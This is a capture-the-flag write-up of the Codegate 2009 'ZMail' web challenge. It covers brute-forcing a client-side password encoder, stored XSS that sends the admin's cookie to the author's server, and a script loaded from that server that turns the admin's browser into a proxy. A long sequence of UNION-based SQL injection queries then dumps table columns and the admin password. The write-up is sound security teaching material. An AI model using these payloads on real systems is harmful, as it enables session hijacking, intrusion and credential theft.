a....
                       __    _                         __    _ 
 _      ______  ____  / /_  (_)  _      ______  ____  / /_  (_)
| | /| / / __ \/ __ \/ __ \/ /  | | /| / / __ \/ __ \/ __ \/ / 
| |/ |/ / /_/ / /_/ / /_/ / /   | |/ |/ / /_/ / /_/ / /_/ / /  
|__/|__/\____/\____/_.___/_/    |__/|__/\____/\____/_.___/_/   
                                                               
                           __          
    ____  ____ _____  ____/ /___ ______
   / __ \/ __ `/ __ \/ __  / __ `/ ___/
  / /_/ / /_/ / / / / /_/ / /_/ (__  ) 
 / .___/\__,_/_/ /_/\__,_/\__,_/____/  
/_/                                    

                                            Production
                                            


====[ Speed guide to level 80 Shaman
(or how to own the middle-east and not get killed while trying) 
by [pandas] parki (parki.san@gmail.com)


ZMail was the Middle-East challenge for Codegate 2009. It was basically a web
application that allowed users to communicate with other users through diferent
means: a real-time chat, internal e-mail and a very simple blogging system. 

At first glance you'd notice that you couldn't access anything but the chat
system unless you were a registered user. The application allowed you to
register but before you had to give a "master password".


===[ FIRST CHALLENGE: Get to create your level 1 Tauren Shaman

The password check was done via javascript. But the actual password value being
compared was an encoded value against applying an encoding function to the input
you actually gave, so it wasn't vulnerable right away.

After the check was done, it was sent to the actual "checking" page, to which
your ACTUALLY INPUTTED password was submitted. So there was no way around it by
sending the encoded password you found on the first page.

So how did the encoding function look like? Here it is:

[snippet]
function enco(val){
  var InStr = val;

  var ttb = "!@#$%^&*()-_+[]{}';:,.|AbCdEfGhIjKlMnOpQrStUvWxYz0123456789acegkm"; 


 var len_1 = InStr.length;
  var len_res = InStr.length % 3;
  var len_div = len_1 - len_res;
  var ra = new makeArray(4);
  var i=0;
  var Stat = "";

  var str="";
  while(1)
  {
    if( i >= len_1 )
         break; 


    if( i >= len_div )
         Stat = "End";  

    A = eval(InStr.charCodeAt(i++));
    B = eval(InStr.charCodeAt(i++));
    C = eval(InStr.charCodeAt(i++));

    if( i > len_div )
    {
        Stat = "End";  

        if( len_res >= 1)
          C = 0;
        if( len_res == 1 )
          B = 0;
    }
    ra[1] = A >> 2;
    ra[2] = ( (A & 3) << 4 ) + (B >> 4);
    ra[3] = ( ( B & 15 ) << 2 ) + ( C >> 6);
    ra[4] = C & 63;

    if( Stat == "End" && len_res >= 1 )
          ra[4] = 64; 
    if( Stat == "End" && len_res == 1 )
          ra[3] = 64;

    for(k=1;k<=4;k++)
       str = str + ttb.substr(ra[k],1); 
 }  
return str;
}

function makeArray(n){
    this.length=n
    for(var i=1; i<=n; i++){
            this[i]=null;
    }
    return this
}
[/snippet]

The important part here is that:
    1. It treats the input string on a 3-by-3 character basis
    2. It uses a global "translation" table (ttb) to get index values for each
       inputted letter.
    3. It then generates FOUR new indexes based on some math transforms on the
       indexes generated in [step 2]
    4. It adds the letter at every of the four indexes in the ttb to the output

So you should always get a multiple-of-4 length string.

Which actually is right with the "A2@]E^OI|p4^E|)OfOcm" password string.

So I had 2 ways of going around this:
    - Finding how to inverse the algorithm
    - Bruteforcing it

And since I was quite sleepy and I thought I'd get it faster I went the
bruteforce way. I actually wasn't faster because of my inability to write
code without infinite loops and to notice it early enough (yay! lol)

And how did I bruteforce it? The lazy-man's way. Just use the provided function!

So I just launched this:

[snippet]
function goforit()
{
    var charset = ttb;
	alert("go!");
	for(var i=0;i<charset.length;i++)
	{
		for(var j=0;j<charset.length;j++)
		{
			for(var k=0;k<charset.length;k++)
			{
				var t = charset[i]+charset[j]+charset[k];
				var enc = enco(t);
				if (enc == "A2@]" ||
						enc == "E^OI" ||
						enc == "|p4^" ||
						enc == "E|)O" ||
						enc == "fOcm")
				{
					document.write(t+" = "+enco(t)+"<br>");
				}
			}
			var t = charset[i]+charset[j];
			var enc = enco(t);
			if (enc == "A2@]" ||
					enc == "E^OI" ||
					enc == "|p4^" ||
					enc == "E|)O" ||
					enc == "fOcm")
			{
				document.write(t+" = "+enco(t)+"<br>");
			}
		}
	}
}
[/snippet]

And got... "_0NlY_ZmEmber_" tada!

Submit it and now you can create your lvl 1 Tauren Shaman :)

You just solved the first challenge!


*******************************************************************************
** NOTE: Now that I think of it, it is funny that I didn't try to get past the
** password functionality by trying different parameters on the target page. It
** might be that I would have gotten it earlier or it might not. I was probably
** way too obsessed with overcoming the challenge by getting the actual code
** that I didn't even think of it.  
*******************************************************************************


===[ SECOND CHALLENGE: Leveling up while avoiding the rabbit grind

You now have access to most of the functionality so let's take a brief look at
each section of the webpage:

    - Real-time chat
        I performed some simple injection (sql,html) attacks but it seemed
        resilient to them, so I skipped it. I infered that it was just there to
        have fun and for you to be aware that an admin user was present on the
        system and that it was being actively used. 
    - A User/password registration form.
        The only test I did against it was to use NULL %00 encoding to get me an
        admin user (by registering the admin%00 user). Not only it didn't work
        but it made subsequent attacks quite annoying to perform since I had to
        inject everything at the "tamper" or "proxy" level lmao. Nice try. 
    - An internal messaging system between users (e-mail like)
    - A kind-of blog functionality
        Which was unaccessable since your user "didn't have the right permission
        to use it"... yet. 
    - An admnistration page
        Which you couldn't access. You needed to be admin to get to it.

Did you notice I left the messaging system uncommented? Yep, it was vulnerable.
You could send a message to any user within the application and the body part of
the message could be HTML injected. Which means XSS (Cross Site Scripting)

The message body had a limit of around 100 characters though, so you couldn't
just put any payload there. (BTW, I just made the number, yeah).


*******************************************************************************
** NOTE: As far as I recall, the Subject wasn't vulnerable, but it might have
** been that my payload was way too big for it to fit.
** Pandas have big payloads ^^
*******************************************************************************


So, let's pandalize it.

We can inject HTML to any user.... So let's borrow some cookies!
How about getting the admin one?

I started the webserver on my Linux VMWare and made a simple script that would
log any parameters sent to it.

[snippet]
<?php

$fd = fopen("/tmp/munchies","a+");
if ($fd)
{
    $info = "FROM ".$_SERVER["REMOTE_ADDR"];
    $info .= "\n=== SERVER ===";
    foreach($_SERVER as $k => $v)
    {
        $info .= "\n\t$k = $v";
    }
    $info .= "\n=== GET ===";
    foreach($_GET as $k => $v)
    {
        $info .= "\n\t$k = $v";
    }
    $info .= "\n=== POST ===";
    foreach($_POST as $k => $v)
    {
        $info .= "\n\t$k = $v";
    }
    $info.="\n\n";
    fwrite($fd,$info);
    fclose($fd);
}

?>
[/snippet]

I sent the following payload to the admin:

[snippet]
</textarea>
  <script>
document.write('<img src="http://mysecretip/l.php?c='document.cookie+'">');
  </script>
<textarea>Hi ^^
[/snippet]

And tadda! I got a cookie.

I tried it right away and I was admin, yay!
But, wait.... There were IP checks on every single page. Aaaagh! It was useless,
I couldn't do anything with it!

But I found something more important. Whenever you sent an e-mail to the admin,
he checked it right away. Mmmm yummy! It seemed like a good attack vector.


So what now? How do you overcome the IP check? Well, the first I thought was:

"We are in a local network, ain't we?"

I knew that it might be too disruptive for the rest of the teams so I just did
a quick test O:)

It turns out the admin IP was 192.168.100.10, I tried it but I just wouldn't get
routed (either that or I'm a network hacker wannabee) so I just skipped this
method.

What now... what now...
There's no way to overcome the IP check other than fooling the network,isn't it?

Well, it depends :)

I tested wether there was some foolish use of global variables via PHP like:

[code]
        extract($_SERVER);
[/code]

Tried "X-Forwarded-For" and "REMOTE_ADDR" headers but it didn't work out.

So.... I had to find a way to deal with this check... And here comes where
being able to inject reflected HTML into a page isn't just about stealing
cookies.

I used the admin user as a "proxy" :)

I set up the following egg on my webserver:

[snippet]
try {
  var x = new XMLHttpRequest();
} catch (e) {
        try {
          var x = new ActiveXObject('Msxml2.XMLHTTP');
        } catch (e) {
                try {
                  var x = new ActiveXObject('Microsoft.XMLHTTP');
                } catch (e) {
                  document.write('XMLHttpRequest not supported');
                }
        }
}

var v = "<placeholder>";
var v2 = v;
var url = "** URL the admin will fetch for me and send it back **";
x.open('get',url,false);
x.send(null);
v = x.responseText;
v2 = v.replace(/#/g,"$");
v2 = v2.replace(/>/g,"%26gt;");
v2 = v2.replace(/</g,"%26lt;");
document.write("<img src='http://mysecretip/l.php?c="+v2+"&from="+url+"'>");
[/snippet]


*******************************************************************************
** NOTE: The actual payload was slightly different. This is the one I used
** in the webhacking.kr version of ZMail
*******************************************************************************


And sent the following code to the admin.

[snippet]
</textarea><script src=http://mysecretip/egg.js></script></textarea>
[/snippet]

So when he checks my e-mail he'll fetch whatever I want via XMLHttpRequest and
send its contents back to me via Cross Site Request Forgery.
Two for the price of one!

And not only it worked, but what I found was very revealing:

[generated admin.php page]
<html>
  <head><title>Zmail admin page</title></head>
  <body bgcolor=silver><center>
    <h2>Zmail admin page</h2>
    <p>hi! admin<p>
    <form method=GET action=admin.php>
      <table border=10 align=center>
        <tr>
          <td>level up (input id,ip)<br>ex ) admin 127.0.0.1</td>
          <td><input type=text name=levelup_id>
            <input type=text name=levelup_ip>
          </td>
        </tr>
        <tr>
          <td>blog information (input blog no,ip)<br>ex ) 1 127.0.0.1</td>
          <td>
            <input type=text name=infor_bno>
            <input type=text name=infor_ip>
          </td>
        </tr>
        <tr>
          <td colspan=2 align=center>
          <input type=submit>
          </td>
        </tr>
    </center>
  </body>
</html>
[/snippet]

A form?
With a levelup and some blog-related functionality?

Woohoho! Now this is nice.
I packed the parameters "uri" and "192.168.100.132" (his contest IP) and made
the admin submit the form.

And uri got a level :)


===[ THIRD CHALLENGE: Unlocking (useless?) skills

So with an effective level of 2, could create a blog. And I did so. And I found
it to be useless! Either being able to create a blog was misleading or I skipped
a middle step that I wasn't aware of.

I analyzed the blog page for vulnerabilities but found it to be resilient to
SQLi. The admin's blog said "hackme" on the subject, so I made him modify it for
us.

Yet again, that didn't seem to trigger anything, nor I received a message
saying so.

I then remembered the "blog" functionality of the admin page, so I made the
admin "do the blog" thing on the Uri user. And it only gave simple information
about it. I tried other users and the admin user but I didn't find anything
revealing.

So what?

===[ FOURTH CHALLENGE: Holes that matter

Let's check what we have so far:
    - HTML injectable e-mails.
    - The ability to make the admin work for us.
    - A blog which seemed useless.
    - Every page we could access checked for SQLi with an negative outcome.

I was clueless...
Until I remembered that there was something I hadn't checked for SQL injection:
the admin page!

And there it was waiting for a panda. The infor_bno parameter was vulnerable.

Yet the way it was coded made it tricky to exploit. Instead of the php
mysql_query() function triggering an error, it was the mysql_fetch_array() query
the one that failed in case of a failed query.

Which means that finding the amount of columns selected, the column types and
so on was a blindish excercise. And you had to do each test via the admin user.
Now this gets interesting :)

I considered the amount of time I'd need to automate the attack would be too
much so I did all the tests by hand. Which means that I used the same malicious
email as before for every request, but modified the URL on the egg each time.

For every sentence I made the admin execute, I checked my log, interpretted the
results, created the next sentence and made the admin perform another check.

Just for reference: whenever you made the right query you got:

[snippet]
<html>
  <head><title>Zmail admin page</title></head>
  <body bgcolor=silver>
  --information--
  <br>blog_no : 4
  <br>blog_ip : 192.168.100.131
  <br>blog_subject : b
[/snippet]

When your query was malformed:

[snippet]
<html>
  <head><title>Zmail admin page</title></head>
  <body bgcolor=silver>
<b>Warning</b>:  mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in <b>/var/www/Zmail/admin.php</b> on line <b>47</b><br />
Wrong number or ip!
[/snippet]

And when it was ok but you inputted the wrong IP...

[snippet]
<html>
  <head><title>Zmail admin page</title></head>
  <body bgcolor=silver>
Wrong number or ip!
[snippet]


So I knew that in the end it would be a simple SQL Injection since it only makes
sense the information comes from the query parameters. It's just the guessing
process was blindish.


Here's the sequence of SQL tests I did with the reason and the outcome:


/Zmail/admin.php?infor_bno=4
infor_ip = 192.168.100.131
    Testing functionality. Seeing if I could get the right infor_bno and IP

/Zmail/admin.php?infor_bno=1
infor_ip = 192.168.100.10
    Testing functionality. Seeing if I could get the right infor_bno and IP

/Zmail/admin.php?infor_bno=4
infor_ip = 192.168.100.10
    Testing functionality. Seeing if I could get the right infor_bno and IP

/Zmail/admin.php?infor_bno=/**/
infor_ip = 192.168.100.10
    First injection test. Bingo! mysql_fetch error

/Zmail/admin.php?infor_bno=0--
infor_ip = 192.168.100.10
    Second injection test.    

/Zmail/admin.php?infor_bno=0/**/OR/**/1=1
infor_ip = 192.168.100.10

/Zmail/admin.php?infor_bno=0/**/OR/**/1=1/**/ORDER/**/1/**/DESC
infor_ip = 192.168.100.10
    WHERE'S THE "BY", parki? WHERE'S THE "BY"??? Way to sleepy.
    Query failed, of course.

/Zmail/admin.php?infor_bno=0/**/OR/**/1=1/**/ORDER/**/1/**/DESC--
infor_ip = 192.168.100.10
    WHERE'S THE "BY", parki? WHERE'S THE "BY"??? Way to sleepy.
    Query failed, of course.

/Zmail/admin.php?infor_bno=0/**/OR/**/1=1--
infor_ip = 192.168.100.10
/Zmail/admin.php?infor_bno=0/**/OR/**/1=1)--
infor_ip = 192.168.100.10
/Zmail/admin.php?infor_bno=0/**/OR/**/1=1))--
infor_ip = 192.168.100.10
/Zmail/admin.php?infor_bno=0/**/OR/**/1=1)))--
infor_ip = 192.168.100.10
/Zmail/admin.php?infor_bno=0/**/OR/**/1=1))))--
infor_ip = 192.168.100.10
    Parenthesis check. Why did I do this? I'm not sure because I had some
    successful injections already. Just wanted to make sure I guess..

/Zmail/admin.php?infor_bno=--0
infor_ip = 192.168.100.10
    Testing wether -- was filtered or cleaned.
/Zmail/admin.php?infor_bno=--0/**/OR/**/1=1
infor_ip = 192.168.100.10
    Testing wether -- was filtered or cleaned.

/Zmail/admin.php?infor_bno=#0
infor_ip = 192.168.100.10
    Same for #

/Zmail/admin.php?infor_bno=0#
infor_ip = 192.168.100.10
    Same for #. Didn't receive reply... And suddenly the payload stopped working

/Zmail/admin.php?infor_bno=0#
infor_ip = 127.0.0.1
    Second test... Maybe they changed the IP? T.T

/Zmail/admin.php?infor_bno=0/**/AND/**/blog_ip=\"127.0.0.1\"#
infor_ip = 127.0.0.1
    Stupid query to guess a column name... BAKA parki!

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/2#
infor_ip = 192.168.100.10
    About time! Things started working again...
    Testing for # of parameters in the query
    >= 2
    
/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/3#
infor_ip = 192.168.100.10
    >= 3

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/4#
infor_ip = 192.168.100.10
    >= 4

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/5#
infor_ip = 192.168.100.10
    >= 5

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/10#
infor_ip = 192.168.100.10
    <10

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/7#
infor_ip = 192.168.100.10
    <7

** AND NOW SEE WHAT BEING AWAKE FOR LOTS OF HOURS DO...
** At this point I knew # of parameters was either 5 or 6
** Yet somehow I assumed it was 6... Prepare to laugh

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/ip#
infor_ip = 192.168.100.10
    Stupid name guessing. parki, wtf are you doing?

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/infor_ip#
infor_ip = 192.168.100.10
    Stupid name guessing. parki, wtf are you doing?

/Zmail/admin.php?infor_bno=1/**/ORDER/**/BY/**/blog_ip#
infor_ip = 192.168.100.10
    Stupid name guessing. parki, wtf are you doing?

** I thought the infor_ip check could have been made against a value returned
** by the query itself. So I wanted to check if this hypothesis was right.

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,\"1.1.1.1\",,\"1.1.1.1\",\"1.1.1.1\",\"1.1.1.1\",\"1.1.1.1\"#
infor_ip = 1.1.1.1
    First injection test. Naive. Stupid. But I didn't know how the infor_ip
    check was being done....
    Query fail (see: 6 parameters injection and ",," - EPIC FAIL)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,CHAR(49),CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,1,CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,1,1,CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/CHAR(49),1,CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/CHAR(49),CHAR(49),1,CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/CHAR(49),CHAR(49),CHAR(49),1,CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/CHAR(49),CHAR(49),CHAR(49),CHAR(49),1,CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/CHAR(49),CHAR(49),CHAR(49),CHAR(49),CHAR(49),1#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,CHAR(49),1,CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,1,1,1#
infor_ip = 1
    Query fail (see: 6 parameters injection...)

** Along comes uri with a "wtf are you doing?" face

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,1,1,1,1#
infor_ip = 1
    By this time parki is mad as hell and doesn't understand a thing.
    He rechecks if he did a mistake on # of parameters guessing...

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,1,1#
infor_ip = 1
    OMG! So it was 5 after all.... 

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,1,CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,1,CHAR(49),CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,1,CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/UNION/**/SELECT/**/1,CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000 AND 1=0/**/UNION/**/SELECT/**/1,CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/CHAR(49),CHAR(49),CHAR(49),CHAR(49),CHAR(49)#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/0x312E312E312E31,0x312E312E312E31,0x312E312E312E31,0x312E312E312E31,0x312E312E312E3#
infor_ip = 1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/0x312E312E312E31,0x312E312E312E31,0x312E312E312E31,0x312E312E312E31,0x312E312E312E3#
infor_ip = 1.1.1.1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46))#
infor_ip = 1.1.1.1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49)),CONCAT(CHAR(49),CHAR(46),CHAR(49),CHAR(46),CHAR(49),CHAR(46))#
infor_ip = 1.1.1.1
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56))#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56))#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56))#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,1,1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),1#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),1,1#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=9000/**/AND/**/1=0/**/UNION/**/SELECT/**/1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),1,1,1#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

/Zmail/admin.php?infor_bno=1/**/AND/**/1=0/**/UNION/**/SELECT/**/1,CONCAT(CHAR(49),CHAR(57),CHAR(50),CHAR(46),CHAR(49),CHAR(54),CHAR(56),CHAR(46),CHAR(49),CHAR(48),CHAR(48),CHAR(46),CHAR(49),CHAR(51),CHAR(56)),1,1,1#
infor_ip = 192.168.100.138
    More stupid guessing. Trying to find which field was a string.
    THERE IS NO NEED FOR THIS!

** I took a 2 minute rest. Cooled off. Thought about the actual injection
** instead of going into a stupid try-rampage... And came up with something
** a bit more clever...
 
/Zmail/admin.php?infor_bno=1/**/UNION/**/SELECT/**/1,1,1,1,1#
infor_ip = 192.168.100.131
    Testing base injection.
    
/Zmail/admin.php?infor_bno=1/**/UNION/**/SELECT/**/2,3,4,5,6#
infor_ip = 192.168.100.131
    Look how easy it was, boke!
    Parameter "4" is the subject

/Zmail/admin.php?infor_bno=1/**/UNION/**/SELECT/**/2,3,(SELECT/**/CONCAT(table_name,CHAR(62),GROUP_CONCAT(column_name))/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema=database()),5,6#
infor_ip = 192.168.100.131
    Got all the column_names

/Zmail/admin.php?infor_bno=1/**/UNION/**/SELECT/**/2,3,(SELECT/**/CONCAT(CHAR(62),GROUP_CONCAT(Password))/**/FROM/**/zmail_admin),5,6#
infor_ip = 192.168.100.131
    Got the key... Yeee!
    Oh, and "PLeAse!d0nT_K1Ll_Me----" :P


===[ CLOSING

Lesson learnt:
    Whenever you're going on a rampage, cool off, munch some bamboo
    and think with your (upper) head.

Thanks again to all of beistlab for such an amazing competition.